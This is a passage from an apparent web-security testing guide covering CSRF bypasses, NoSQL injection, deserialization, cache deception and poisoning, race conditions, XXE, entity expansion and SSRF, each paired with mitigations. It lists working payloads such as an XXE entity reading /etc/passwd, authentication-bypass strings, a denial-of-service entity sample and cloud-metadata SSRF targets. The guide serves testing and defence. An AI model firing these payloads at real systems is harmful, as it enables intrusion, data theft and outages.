  - **In a Cookie:** The server may also set the CSRF token as a secure, HTTP-only cookie, accessible only by the same site.
- **Step 3:** The server sends the token to the client, typically by embedding it in a hidden form field or in a custom HTTP header for JavaScript-based requests.

2. Sending the Token with the Request

When the client makes a state-changing request (e.g., submitting a form or modifying data), it includes the CSRF token: using the methods of:

  - **As a Hidden Field:** For HTML forms, the CSRF token is often included as a hidden field.
  - **In a Header:** For JavaScript-based requests (like AJAX or API calls), the CSRF token is usually sent in a custom header, such as X-CSRF-Token.
  - **As a Cookie:** Some implementations send the CSRF token in a secure, same-site cookie.

3. Token Verification on the Server

- **Step 1:** The server receives the request with the CSRF token.
- **Step 2:** It retrieves the CSRF token from the request (from the hidden field, header, or cookie) and compares it to the stored token associated with the user’s session.
  - If the token matches the one stored on the server, the server considers the request valid and processes it.
  - If the token is missing or doesn’t match the stored token, the server rejects the request, as it may be a CSRF attack.

Same-site Attribute

The SameSite attribute is a cookie attribute used to control whether or not cookies are sent with cross-site requests. It's an important security feature, mainly to protect against Cross-Site Request Forgery (CSRF) attacks and to reduce the risk of cross-site tracking.

Same-Site Cookie

A SameSite cookie is a security feature implemented by modern browsers to help protect web applications from Cross-Site Request Forgery (CSRF) attacks. It restricts how cookies are sent with cross-site requests, which helps to prevent unauthorized actions from being performed on behalf of an authenticated user.

Double-Submit Cookie:

The Double Submit Cookie technique is a security method used to protect against Cross-Site Request Forgery (CSRF) attacks. It involves using two separate cookies — one for the CSRF token in the request and one stored as a cookie — to verify that the request is coming from a legitimate source.

Different between Same-site cookie & Double submit cookie:

Feature	Same-site cookie	Double submit cookie
Purpose	• The **SameSite** attribute on cookies restricts how cookies are sent with cross-site requests. • It is designed to **prevent cookies from being sent with cross-origin requests**, making it difficult for an attacker to perform CSRF attacks.	• The Double Submit Cookie method uses two cookies (one stored in the browser and one sent in the request) to ensure the request is legitimate. • It is designed to ensure that the CSRF token sent in the request matches the token stored in a cookie, thus protecting against unauthorized actions initiated from malicious sites.
How to work	• When a SameSite cookie is set, the browser will only send the cookie in requests originating from the same site.	• The server sets a CSRF token as a cookie and also requires the token to be included in the request (e.g., in a hidden form field or a custom HTTP header). • When the request is made, the server compares the CSRF token in the request body/headers with the token in the cookie. If they match, the request is allowed.
Dependency	• The SameSite cookie attribute is a built-in browser feature and does not require server-side management beyond setting the attribute on cookies. • It relies on the browser's behavior to enforce the policy of sending cookies only with same-origin requests.	• The Double Submit Cookie technique is application-level and requires both server-side and client-side implementation. • The server needs to generate and validate the CSRF token, while the client-side JavaScript must include the token in the request.

Cookie Attribute:

A cookie attribute is a property that provides specific behavior and configuration settings for cookies, which are small pieces of data stored on the client (browser) and sent between the client and the server during HTTP requests. These attributes control how, when, and where cookies are sent, as well as their security and accessibility.

Attributes:

- **Domain:**
  Defines the domain for which the cookie is valid. If not set, the cookie is only valid for the domain that set it.
- **Path:**
  Specifies the URL path for which the cookie is valid. The cookie is only sent for requests to URLs starting with this path.
- **Expires:**
  Sets the expiration date for the cookie. The cookie will be deleted when the specified date and time is reached.
- **Secure:**

Ensures the cookie is only sent over HTTPS, providing security by transmitting the cookie over encrypted connections.

- **HttpOnly:**
  Prevents the cookie from being accessed via JavaScript, helping to protect it from XSS (Cross-Site Scripting) attacks.

How to Bypass CSRF Protection:

Bypass-Methods 1: Delete the token parameter or send a blank token

Capture the form page request (log-in, edit profile, password change, name change) via proxy tools (Burp suite). You can remove the CSRF token from the parameter and forward the request and check response.

Bypass-Methods 2: Use another session's CSRF token

Create 2 user accounts.

You can use another user's CSRF token by creating a new account. Then, intercept the same request (e.g., a profile edit request), copy the CSRF token from that request, and paste it into the first request. This allows you to check if the server is actually validating whether the CSRF token belongs to the correct user.

Example:

- **Suppose User 1 CSRF Token is :** ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG
- **Suppose User 2 CSRF Token is :** ES49jfXwQmExuz2SJGF91PK5WfMVu5sBOGgzqqvn

Bypass-Methods 3: Most of the Profile edits, password resets and 2FA enabling are POST requests and changing the request type "POST" to "GET" request and removing the CSRF token parameter and forward the request and check response.

Bypass-Methods 4: Add random text in the CSRF token and check if the server is validating it or not.

- **Real CSRF Token :** ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG
- **Malformed CSRF Token** : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxGrandom

Bypass-Methods 5: Many Web applications use a Static and Dynamic part CSRF token.

In this CSRF token , the first 20 characters are static i.e they are same for all the users registered on the Web application and the next 20 characters are dynamic which means the last 20 characters are different for all the users.

Keep the static characters of the CSRF token same and use or change random text for the dynamic 20 characters.

6. NoSQL Injection

NoSQL Injection is a security vulnerability that occurs when attackers exploit improper handling of untrusted input in applications that interact with NoSQL databases, such as MongoDB, Cassandra, CouchDB, or Firebase. NoSQL Injection targets non-relational databases that use different query languages and structures.

NoSQL databases typically accept data in JSON format and allow queries using document-based or key-value pair structures. Attackers manipulate these queries by injecting malicious input, often as JSON objects or special characters, which alters the intended database operations.

How to test it:

Step 1: Identify Input Points

- Look for input fields that might interact with a NoSQL database, such as **search forms, login forms**, or any functionality that involves retrieving data (e.g., **user registration**, **profile viewing**, etc.).
- Typical parameters to test include:
  - Username
  - Email
  - Search queries
  - Product IDs

Step 2: Inject Common NoSQL Injection Payloads

- **Bypass Authentication Query:** Username field: `admin' || 1==1`
- **Example:** `http://example.com/login?username=admin' || 1==1&password=password`

Step 2: Inject Nested Queries in NoSQL

- **Logical OR Injection:** Parameter (e.g., id): `1 || 1`
- **Response:** If the application is vulnerable, the query might evaluate to id = 1 OR 1 = 1, which returns all records or bypasses restrictions.

- **Array or Object Injection:** Parameter (e.g., id): `{"$gt": ""}`
- **Response:** If the query is improperly constructed, this might return more data or all records from the database.

NoSQL Injection Mitigations:

- Validate and Sanitize user Inputs
- Use Parameterized Queries
- Disable JavaScript Execution
- Limit Permissions: Apply least privilege; only necessary access to data and fields.
- Use MFA and restrict network access to trusted sources
- Implement Rate Limiting

7. Insecure Deserialization

Insecure deserialization is a security vulnerability that occurs when an application accepts untrusted serialized data and deserializes it without proper validation or sanitization. This can allow attackers to manipulate serialized objects to inject malicious payloads, to causes in remote code execution, privilege escalation, denial of service, or other unintended behaviors.

A deserialization vulnerability occurs when an application deserializes data from an untrusted source without properly validating it, allowing an attacker to modify the serialized object or inject malicious data. This can lead to serious security risks such as remote code execution, data tampering, or system compromise.

Serialization is the process of converting an object into a format (like a byte stream) that can be easily stored or transmitted. Deserialization is the reverse process, where the byte stream is converted back into an object.

Object Injection:

Object Injection occur when an attacker is able to inject malicious objects into an application's object deserialization process. This can lead to various attacks like Remote Code Execution (RCE), Privilege Escalation, or Sensitive Data Disclosure. Object injection typically happens when user input is used directly in the deserialization process without proper validation or sanitization.

How to test object injection:

1. Identify Points of Serialization/Deserialization

- **First**, Identify where application deserializes untrusted data
  - HTTP Request Parameters (GET, POST, URL parameters)
  - Cookies
  - Session Data
  - HTTP Headers
- **Second**, Use Burp Suite's Proxy to capture requests of user supplier input.
- **Third,** Once we have captured the serialized object, we can modify it to inject malicious data.

2. **Send the Malicious Payload**

- **Cookies**: Modify the value of the session cookie or other cookies that contain serialized data.

- **URL Parameters**: Inject the serialized object into URL parameters, such as http://target.com?data=malicious_payload.
- **HTTP Headers**: Some applications may pass serialized data in custom headers, which can also be modified.
- **Form Data**: If serialized data is included in POST requests (e.g., in hidden form fields), you can modify this data in your request.
- Once you send the modified payload, observe the application's response to see if any unexpected behavior occurs.

Object Injection/ Insecure Deserialize Mitigations:

- Avoid deserializing data from untrusted or user-controlled sources. when the data might come from users or external systems.
- Use safe serialize formats like JSON and XML instead of binary serialization.
- Ensure that all input data is validated and sanitized before being deserialized.
- Whitelist allowed classes to restrict the deserialization of untrusted objects.
- Sign and encrypt serialized data to protect it from tampering.
- Use secure libraries that prevent unsafe deserialization behaviors.
- Implement exception handling and integrity checks to detect malicious input early.
- Log and monitor for suspicious deserialization activity.
- Apply strong authentication and authorization to prevent unauthorized manipulation of serialized data.

8. Web Cache Deception

Web Cache Deception is a security vulnerability that arises when a web application improperly handles caching mechanisms, allowing a malicious user to manipulate cached content in a way that exposes sensitive information to other users. This type of vulnerability exploits caching works in web applications to serve unauthorized or malicious content to unsuspecting users.

How to test it:

Test Scenerio1: Check Response Cache-Control Headers

Improper Cache-Control Headers: Inspect HTTP response headers to check for cache-control settings, especially for sensitive resources. Look for headers like **Cache-Control: public**, which could indicate that caching is allowed.

Scenario 2: Caching a Login Page

Step 1: An attacker visits a web application that appears to have a login page cached.

Step 2: The attacker inspects the headers of the login page response using tools like Burp Suite or browser developer tools.

Step 3: They find a Cache-Control header that allows caching (e.g., Cache-Control: public, max-age=3600).

Step 4: The attacker crafts a request to the login page with a special session parameter to test if caching is applied:

```
GET /login?sessionId=12345 HTTP/1.1
Host: vulnerable-website.com
```

Scenario 3: User Profile Page Exposure

Step 1: An attacker discovers that a user profile page is cached due to missing cache control headers.

Step 2: They verify this by accessing the user profile with a specific user ID:

```
GET /profile?id=12345 HTTP/1.1
Host: vulnerable-website.com
```

Step 3: The attacker then manipulates the request to their advantage by including a parameter that should ideally be uncacheable:

```
GET /profile?id=12345&cache=true HTTP/1.1
```

Scenario 4: File Download Vulnerability

Step 1: An attacker notices that a sensitive file download endpoint does not have proper cache controls.

Step 2: They check the response headers for the file download request:

```
GET /download?file=confidential.pdf HTTP/1.1

GET /download?file=confidential.pdf&cache=true HTTP/1.1
```

Scenario 5: Admin Interface Access

Step 1: An attacker identifies an admin interface accessible via a standard URL.

Step 2: They analyze the response headers to see if the page is being cached.

Step 3: If they find headers like Cache-Control: public, the interface might be at risk.

```
GET /admin?view=dashboard&cache=true HTTP/1.1
```

Scenario 6: API Endpoint Exposure

Step 1: An attacker interacts with a public API and notices the caching behavior.

Step 2: They review the API responses to find the cache-control settings and any sensitive data returned.

```
GET /api/user?cache=true&userId=12345 HTTP/1.1
```

Mitigation Strategies:

Set Proper Cache-Control Headers:

- Use headers like Cache-Control: no-store or Cache-Control: private for sensitive pages to prevent caching.

Avoid Caching Sensitive Content:

- Explicitly prevent caching for sensitive resources such as login pages, user profiles, and admin interfaces.

Implement Secure URL Patterns:

- Use URL structures that make it difficult for attackers to guess or manipulate sensitive endpoints.

Validate User Input:

- Ensure that all user inputs and query parameters are validated to prevent unintended access to sensitive resources.

Conduct Security Audits:

- Regularly review caching mechanisms and configurations to identify potential vulnerabilities.

Monitor Cache Behavior:

- Implement monitoring to detect unusual caching behavior or access patterns that may indicate exploitation attempts.

Use Content Security Policies (CSP):

- Implement CSP to control what resources can be loaded and reduce the risk of unintended data exposure.

Restrict Public Access to Internal Pages:

- Ensure that internal administrative and sensitive pages are not publicly accessible or indexed by search engines.

9. Web Cache Poisoning

Web Cache Poisoning is a security vulnerability that occurs when an attacker is able to manipulate the cached responses of a web application, leading to the delivery of malicious or incorrect data to users. This attack exploits the way web caches work, allowing the attacker to control what content is stored in the cache and served to subsequent users.

How to test it:

Scenario 1: Crafting Malicious Requests

Step 1: Find an endpoint that is publicly accessible but should not be cached, like a sensitive admin panel or user-specific content.

Step 2: Craft the Request: Send a request with a unique parameter that leads to a response containing malicious content.

```
GET /admin/dashboard?user=attacker HTTP/1.1
Host: vulnerable-website.com
```

Scenario 2: Manipulating Query Parameters

Step 1: Testing Input Variations: Modify query parameters in requests to see if the application caches different responses.
Step 2: **Send Requests:**

```
GET /profile?user=12345 HTTP/1.1
Host: vulnerable-website.com
```

Scenario 3: Header Manipulation

Step 1: Use Malicious Headers: Craft a request with manipulated headers that could affect the cached response.

```
GET /resource HTTP/1.1
Host: vulnerable-website.com
X-Special-Header: malicious_value
```

Scenario 4: Content Injection via Cookies

Step 1: Using Cookies to Inject Content: If the application relies on cookie data to generate responses, an attacker can manipulate cookies to poison the cache.

Step 2: Craft a Request: Send a request with malicious cookie value.

```
GET /dashboard HTTP/1.1
Host: vulnerable-website.com
Cookie: session=malicious_value
```

Mitigations Strategies:

Implement Strict Cache-Control Headers:

- Use headers like Cache-Control: no-store, Cache-Control: private, or Cache-Control: no-cache for sensitive content to prevent caching.

Avoid Caching Sensitive Responses:

- Ensure that endpoints dealing with user-specific data (e.g., login pages, user profiles) are not cached.

Validate and Sanitize User Inputs:

- Ensure that all user inputs, including query parameters and headers, are validated and sanitized to prevent malicious manipulation.

Use Unique URLs for Dynamic Content:

- Generate unique URLs for content that is user-specific to avoid cache collisions and unintended content caching.

Monitor and Analyze Cache Behavior:

- Implement monitoring to detect unusual caching patterns or access attempts that may indicate poisoning attempts.

What is the different between Web Cache Deception & Web Cache Poisoning

Aspect	Web Cache Deception	Web Cache Poisoning
Definition	An attack that tricks the caching mechanism into storing sensitive content that can be accessed by unauthorized users.	An attack that manipulates the cached content to serve malicious or incorrect data to users.
Mechanism	Exploits weak cache controls or URL manipulation to cache sensitive responses.	Uses crafted requests to inject malicious content into the cache.

Impact on Users	Users may unknowingly access sensitive information intended for others.	Users receive malicious or incorrect responses, which can lead to exploitation or misinformation.
Focus	Concerned with unauthorized access to cached sensitive data.	Concerned with the integrity of the cached content being served to users.
Example	A malicious URL that serves an admin page cached for all users.	An attacker modifies a page's response, causing it to serve harmful content.

10. Race Condition

A race condition vulnerability occurs when the behavior of a program or system depends on the timing or sequence of events, and an attacker exploits this timing dependency to gain unauthorized access or perform malicious actions.

In simple terms, a race condition arises when two or more processes (or threads) try to access shared resources concurrently, and the outcome depends on the order in which they execute.

How to test race condition issues:

1. Using Burp suite

Intercept the web traffic and identify areas where concurrent requests or shared resources are handled (e.g., user login, file uploads, or transactions).

2. Identify Potential Race Conditions:

- Look for sensitive actions that could be vulnerable to race conditions, such as:
  - Transferring money from a bank account
  - Changing user settings or permissions
  - Uploading files or interacting with resources that might be accessed by multiple users at the same time

3. Capture the Request:

- Capture a request that triggers a sensitive action (e.g., transferring funds, updating account settings).
- Send it to the Repeater for further testing.

4. Create Concurrent Requests:

- Use Burp Suite's Intruder or Repeater to send multiple requests simultaneously.
- Set up multiple payloads that correspond to different user actions (like concurrent file uploads or transactions).

Manual Testing for Race Condition

1. Identify Critical Resources:

Look for areas where shared resources (**e.g., session IDs, user privileges, or sensitive data**) can be accessed or modified concurrently.

Some common areas to test race conditions include:

- User registration (where an attacker might race to claim a username)
- Login processes (where simultaneous requests could cause privilege escalation)
- Bank or e-commerce transactions (where simultaneous requests can lead to overdrawn accounts or duplicated purchases)

2. Send Multiple Requests Simultaneously:

Use tools like **Postman, cURL**, **Burp Intruder** or a custom script to simulate multiple requests at the same time.

- **Login Request:** Try sending two login requests with the same credentials at nearly the same time. Observe if one request overwrites the session or if an attacker can intercept a session token.
- **File Upload:** Test by uploading a file from two different browsers or using multiple cURL commands. See if both uploads can occur concurrently and if one file overwrite another.

3. Launching Multiple cURL Requests Simultaneously

- To send two or more HTTP requests concurrently at a time.

```
curl -X POST -d "username=attacker&password=password" http://vulnerable-app.com/login &
curl -X POST -d "username=attacker2&password=password" http://vulnerable-app.com/login &
```

4. Use Multiple Browsers or Tabs:

Open multiple browser tabs or use different browsers to simulate concurrent actions.

- Try changing the user's password in one tab while attempting to log in using the old password in another.
- Modify user settings (like email address or username) in one tab, then attempt to perform a transaction in another.

Race Condition Mitigations:

- Always use atomic operations where possible, especially in database transactions.
- Use locks and mutexes for critical sections, ensuring that only one process or thread can access shared resources at any time.
- Implement optimistic concurrency control or pessimistic locking to handle concurrent transactions safely.
- Utilize transaction management in databases to ensure operations are completed or rolled back atomically.
- Apply rate limiting or queues in high-concurrency environments to ensure orderly execution of operations.

11. Regex (Regular Expression) vulnerability

A Regex vulnerability refers to security flaws that arise from improper use or lack of validation of regular expressions (regex) in an application. These vulnerabilities can result in unexpected behavior, such as performance issues, denial of service (DoS), or unintended access controls. Regex vulnerabilities are often tied to how regular expressions are handled and can be triggered by malicious input or poorly crafted patterns.

How to test regex:

1. Identify Input Points:

Start by intercepting web traffic with Burp Proxy to identify user inputs that are processed by regular expressions. Look for places where inputs are validated or processed, such as login forms, search bars, and registration forms.

2. Capture the Request in Burp Suite:

- Capture a request using the Proxy tab and send it to Repeater.
- If it's an input field (like email or username), observe if it uses a regex pattern for validation.
- In the Repeater tab, modify the request by injecting malicious input that exploits a potential regex vulnerability.
- Example payloads:
  - (a+)+
  - ([a-zA-Z]+)*
  - (a|aa)+
  - (a|a?)+
  - (.*a){x} for x > 10
  - aaaaaaaaaaaaaaaaaaaaaab
  - ^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}$ //email format payload
  - test@domain..com //email format payload
  - test@domain.com; DROP TABLE users; --

Regex Vulnerability Mitigations:

- **Avoid complex regex patterns:** Especially those prone to catastrophic backtracking (e.g., nested quantifiers).
- **Limit input size:** Set reasonable maximum lengths and complexity constraints for user inputs.
- **Sanitize and escape user input:** Prevent regex injection by properly handling user data.
- **Use pre-built, secure libraries:** For common validation tasks like email, URL, and IP validation.

- **Implement rate-limiting and timeouts:** Protect against denial-of-service (DoS) caused by resource-heavy regex processing.

12. Clickjacking/UI Readdressing

Clickjacking, also known as UI Redressing, is a type of web attack where a user is tricked into clicking something different from what they intended, typically by overlaying a transparent or invisible frame over a legitimate web page. The attacker manipulates the user interface to make it appear as though the user is interacting with one element on the page, while they are actually clicking something else.

How Clickjacking Works:

An attacker embeds a legitimate website (such as a bank, social media site, or any other target) inside an invisible iframe on their malicious page.

The user is tricked into clicking what looks like a normal button or link (e.g., "Play video", "Like", "Submit"), but in reality, they are interacting with an element in the hidden iframe (e.g., confirming a purchase, transferring money, or changing account settings).

Clickjacking Mitigation Strategies:

X-Frame-Options Header:

- Use the X-Frame-Options HTTP response header to control whether your site can be embedded in an <iframe>.
  - Set to DENY to prevent all framing.
  - Set to SAMEORIGIN to allow framing only from the same origin.

Content Security Policy (CSP):

- Implement a **Content Security Policy** that uses the frame-ancestors directive to control which sites can embed your content.
  - Example: Content-Security-Policy: frame-ancestors 'self'; restricts embedding to the same origin.

Frame Busting Scripts:

  - Use JavaScript to prevent your page from being displayed in a frame.

Cross-Domain Policies:

- Implement strict cross-domain policies to control what external content can interact with your site.

Same-Origin Policy:

- Leverage the Same-Origin Policy to restrict the ability of third-party sites to interact with sensitive elements of your application.

13. Broken Object Level Authorization

Broken Object Level Authorization (BOLA), also known as **Insecure Direct Object References (IDOR)**, is a security vulnerability that occurs when an application does not properly enforce authorization checks for accessing or manipulating objects or resources. It allows a malicious user or any user to access objects (such as files, records, or data) that they shouldn't have permission to view or modify, often by manipulate identifiers in the request (such as URL parameters, query strings, or request bodies).

Broken Object Level Authorization occurs when an application exposes references to objects identifiers (like user IDs, file names, or database keys, API Key) without ensuring that the user is authorized to access them. This allows a malicious user to bypass access control mechanisms by altering these references to point to objects they should not be able to access.

How to test it:

Step 1: User Profile Access

Example 1:

- A web application or API allows users to view their profile by accessing a URL like
- Log in as **User A** and view the profile URL: `https://example.com/user/profile?id=12345`
- Log in as **User B** and change the id parameter to 12346 or another user's ID in the URL: `https://example.com/user/profile?id=12346`.

Example 2:

- Log in as **User A** and access the URL: https://example.com/orders/view?order_id=7890.
- Log in as **User B** and modify the order_id parameter to view another order: https://example.com/orders/view?order_id=7891.
- If **User B** can view **User A's** orders or another user order, then **BOLA** is present.

BOLA Mitigations:

- **Enforce Access Control for Every Object**: For each object, such as a user account or resource, verify that the authenticated user has permission to access it.
- **Use Secure, Contextual Object IDs**: Avoid predictable object identifiers in URLs. Use random or encoded IDs that cannot be easily manipulated by attackers.
- **Implement Role-Based Access Control (RBAC)**: Ensure that access control is based on user roles, and each object's access is verified according to the user's role or permissions.
- **Conduct Access Control Checks on the Server**: Ensure all authorization checks are done on the server-side, not relying on client-side validation.
- **Least Privilege**: Users should only have access to objects they own or are explicitly authorized to view or modify.

14. Broken Function Level Authorization

Broken Function Level Authorization (BFLA) is a security vulnerability, it occurs when an application fails to properly enforce access control for certain functions or actions based on the user's role or privileges. This vulnerability allows an attacker to access or perform actions that they should not be authorized to, based on the function or endpoint they are trying to access.

BFLA happens when an application fails to check if a user has permission to execute a specific function, typically when that function is restricted to certain roles (like admin, manager, or regular user). Without proper authorization checks, users may gain unauthorized access to functionality they should not be able to perform, leading to potential privilege escalation or unauthorized actions.

How to test it:

Step 1: Unauthorized Access to Admin Dashboard

- An application has an admin dashboard accessible only to admin users.
- **Example:** https://example.com/admin/dashboard
- This page is intended for admins to manage users, view logs, etc

- Log in as a regular user and try accessing the admin dashboard:
- Try directly accessing the URL in your browser: https://example.com/admin/dashboard
- If regular user can access the admin dashboard and perform sensitive actions, like viewing and editing admin data

Step 2: Unauthorized Profile Update

- Log in own user account and visit update profile or profile settings
- Example: https://example.com/user/updateProfile?user_id=12345&name=user-A
- Try modifying your own profile information (e.g., change name **User A** to **User B** or change user id 12345 to 12346).
- If the profile is updated successfully, the application is not performing the necessary authorization checks then BFLA exists.

Step 3: Admin function accessible by regular user

- Log in as a regular user (or use an unprivileged session) and try to delete another user's account by modifying the URL with User Id.

BFLA Mitigations:

- **Enforce Access Control on Every Function**: Apply authorization checks for each function based on the user's role. Ensure users can only access functionality that is intended for their role.
- **Use Granular Role-Based Access Control (RBAC)**: Implement fine-grained access controls to limit access to sensitive functionality (e.g., admin actions, user data modification) based on roles.

- **Secure Role and Function Mapping**: Explicitly map roles to specific functions and check the user's role before allowing access to sensitive functions (e.g., only admins can delete users).
- **Least Privilege**: Users should only be granted the minimum necessary privileges to perform their tasks.
- **Validate Permissions on the Server-Side**: Always perform authorization checks on the server-side to prevent bypassing restrictions by modifying client-side parameters.

What are the different between Broken Object Level Authorization (BOLA) & Broken Function Level Authorization (BFLA)

Aspect	Broken Object Level Authorization (BOLA)	Broken Function Level Authorization (BFLA)
Definition	Occurs when a user can access or manipulate objects (e.g., records or files) they are not authorized to.	Occurs when a user can access functions or methods that they are not authorized to invoke.
Scope of Impact	Primarily affects data integrity and confidentiality by allowing unauthorized access to specific objects.	Primarily affects application functionality and user actions by allowing unauthorized access to operations.
Authorization Checks	Involves checking permissions at the object level (e.g., user data, documents) to ensure users can only access their own objects.	Involves checking permissions at the function level (e.g., API endpoints, application features) to ensure users can only perform allowed actions.
Common Exploitation Scenarios	An attacker manipulates object identifiers (e.g., IDs) in requests to access other users' data (e.g., viewing another user's profile).	An attacker bypasses role checks or authorization logic to execute restricted functions (e.g., accessing admin features without proper role).
Mitigation Strategies	Implement strict access control checks for each object, ensuring only authorized users can access their own resources.	Implement role-based access control (RBAC) and enforce checks at the function or endpoint level to ensure users can only execute permitted operations.

15. XXE Injection

XXE (XML External Entity) Injection is a vulnerability that occurs when an XML parser processes external entities within XML documents in an insecure way. This flaw allows attackers to manipulate the XML input to interact with internal resources, potentially leading to data exfiltration, server-side request forgery (SSRF), denial of service (DoS), or other malicious activities.

XML

XML (Extensible Markup Language) is a flexible, human-readable markup language used to store and transport structured data. It is designed to be both machine-readable and human-readable, making it suitable for data interchange between different systems and platforms. XML is widely used in web services, configuration files, and data storage due to its simplicity and extensibility.

DTD (Document Type Definition)

DTD (Document Type Definition) is a set of rules that define the structure, elements, attributes, and relationships within an XML document. It acts as a blueprint or contract for how the XML document should be structured. DTD can be used to validate the contents of an XML document, ensuring that the XML data adheres to a specified format.

XXE Injection Mitigations:

- Disable external entity processing in XML parsers.
- Use secure parsers that disable DTD processing by default.
- Validate and sanitize XML input using XML Schema (XSD).
- Whitelist acceptable elements and reject unexpected XML structures.
- Limit resource access (e.g., files, networks) in XML parsers.
- Implement application-layer controls such as rejecting DOCTYPE declarations.
- Use a Web Application Firewall (WAF) to detect XXE patterns.
- Regularly update XML parsing libraries to patch known vulnerabilities.
- Avoid using untrusted XML sources and validate all XML data.

XML Injection

XML Injection is a type of security vulnerability where a malicious user manipulates the XML input data in a way that exploits vulnerabilities in applications that process XML. This can lead to unauthorized access, data disclosure, or system compromise. XML Injection is often associated with applications that use XML-based data formats for configuration, communication, or processing user input.

How to test:

Step 1: **Intercept the Request**:

Use Burp Proxy to intercept requests containing XML data.

Look for POST or PUT requests with Content-Type: application/xml or text/xml

```
POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 102
```

```
<user>
  <username>testuser</username>
  <password>password123</password>
</user>
```

Step 2: Modify XML Input:

Inject malicious payloads into the intercepted request. Use Burp Repeater to send modified requests repeatedly.

Basic payloads:

```
<user>
  <username>admin</username>
  <password>' OR '1'='1</password>
</user>
```

Entity Injection Payload:

```
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<user>
  <username>&xxe;</username>
  <password>password123</password>
</user>
```

Step 3: Observe the Response:

- Analyze the server's response for errors, sensitive data leakage, or unexpected behavior.
- For example, if the payload reveals sensitive information or bypasses authentication, the application is vulnerable.

XML Injection Mitigations:

- **Input Validation & Sanitization**: Validate XML input using schemas (XSD), escape special characters, and sanitize user data.
- **Use Parameterized Queries**: Avoid dynamically constructing XML queries; use prepared statements to safely insert input.
- **Disable External Entity Resolution (XXE)**: Disable external entity processing in XML parsers to prevent XXE attacks.
- **Restrict Access to Sensitive Files**: Implement the principle of least privilege to limit file access.
- **XML Schema Validation**: Use a strict XML Schema Definition (XSD) to enforce valid XML structures.
- **Limit XML Input Size**: Restrict the size and complexity of XML input to prevent DoS attacks.
- **Use Secure Libraries**: Utilize secure XML parsing libraries (e.g., **defusedxml, lxml**).
- **Logging & Monitoring**: Log XML parsing errors and monitor for unusual activity.
- **Content Security Policies (CSP)**: Use CSPs to secure generated XML in browser responses.
- **Use WAF**: Deploy Web Application Firewalls (WAFs) to block malicious XML payloads.

Difference between XXE Injection, XML Injection and External Entity Expansion

Aspect	**XXE Injection**	**XML Injection**	**XML Entity Expansion**
Attack Vector	Exploits external entity processing in XML parsers	Manipulates XML data input to alter logic or behavior	Exploits recursive entity definitions for DoS
Impact	Data disclosure, SSRF, remote code execution	Logic manipulation, data corruption, bypass security	Denial of Service (DoS) due to resource exhaustion
Targeted Vulnerability	XML parser handling of external entities	Application logic handling of XML data	XML parser's handling of entity expansions
Nature of Payload	External entity references (e.g., file access or SSRF)	Malicious XML elements or attributes injected to alter application behavior	Recursive or unbounded entity definitions leading to exponential expansion
Mitigation Techniques	Disable external entity processing in XML parsers, use secure parsers	Validate and sanitize XML input, use XML Schema validation	Limit entity expansion depth and size, use secure parsers

XEE (XML Entity Expansion)

XEE (XML Entity Expansion) is a type of vulnerability related to XML External Entity (XXE) Injection. It happens when an XML parser is misconfigured and allows the expansion of entities to an excessive size, leading to Denial of Service (DoS).

How to test it:

Step 1: Intercept the Request

Use Burp Suite Proxy to intercept an HTTP request containing XML data (for example, in an API request body or a form submission).

Step 2: Modify the XML to Include Recursive Entities

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY a "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
]>
<root>
  <data>&b;</data>
</root>
```

Step 3: Forward the Request

After sending the request, you should monitor the response and observe if the server becomes slow or crashes.

XML Entity Expansion (XEE) Mitigations:

- **Disable External Entity Processing**: Configure XML parsers to disallow external entity declarations.
- Example: Set **disallow-doctype-decl** and **disable external-general-entities**.
- **Use Secure XML Parsers**: Use libraries like defusedxml (Python) or secure configurations in Java, .NET, etc.
- **Validate and Sanitize Input**: Ensure that XML input strictly adheres to a defined schema (XSD).
- **Avoid Untrusted XML**: Do not accept XML from untrusted sources or sanitize input before parsing.
- **Restrict File Access**: Use least privilege for file access and ensure the server cannot access sensitive directories.
- **Use Whitelisting**: Accept only trusted DTDs or XML schemas.
- **Limit XML Features**: Disable features like DOCTYPE if not required.

16. Server-Site Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) is a web security vulnerability where an attacker can manipulate a server to make requests on their behalf. This vulnerability allows attackers to exploit backend systems, access internal resources, or extract sensitive data by controlling the server's outgoing requests.

SSRF Mitigations:

- **Input Validation & Allowlisting**: Only allow trusted domains/IPs, restrict to safe protocols (e.g., HTTP/HTTPS).
- **Network Controls**: Limit server access to internal networks; use firewalls to block internal IP ranges.
- **Disable Unused Features**: Remove unnecessary URL-fetching capabilities and unused protocol handlers.
- **Metadata API Restrictions**: Block cloud metadata endpoints (e.g., 169.254.169.254) or use secure options like AWS IMDSv2.
- **Proxy Configuration**: Route outgoing requests through a controlled proxy with allowlisting and authentication.
- **Outbound Filtering & Monitoring**: Monitor outgoing requests, use WAF to detect SSRF patterns, and apply rate limits.
- **Sanitize User Input**: Validate all inputs to prevent redirection abuse.
- **Use Secure Libraries**: Ensure HTTP libraries are securely configured and up-to-date.

How to test it:

Basic SSRF:

Step 1: Identify Potential SSRF Injection Points

Look for input fields, parameters, or headers that might allow user input to influence the server's request destination.

- Image URLs in image loading services
- Webhook URLs
- URL parameters in APIs that fetch resources
- Header values like Host, X-Forwarded-For, or Referer

Step 2: Test with Internal IP Addresses

Start by replacing these parameters with URLs pointing to internal resources to see if the server fetches them.

- http://127.0.0.1
- http://localhost
- http://169.254.169.254/latest/meta-data/

Step 3: Observe Server Responses

If the server returns content from these internal endpoints, that's a strong indication of an SSRF vulnerability.

SSRF for Internal file and services:

Step 1: Identify Potential SSRF Injection Points

- **URL-Based Parameters:** Any parameter that accepts a URL can be an SSRF entry point. Look for parameters named:
- url, uri, target, dest, destination, endpoint, link, path, redirect, callback, feed
- Applications that allow users to upload files or fetch images from URLs may use the server to retrieve these files.
- SSO (Single Sign-On) and OAuth Redirect URIs:
- Payment or API Integrations:

Step 2: Inject Payloads for File and Service Access

- file:///etc/passwd
- file:///c:/Windows/System32/drivers/etc/hosts
- http://127.0.0.1:3306
- http://localhost:8080/admin
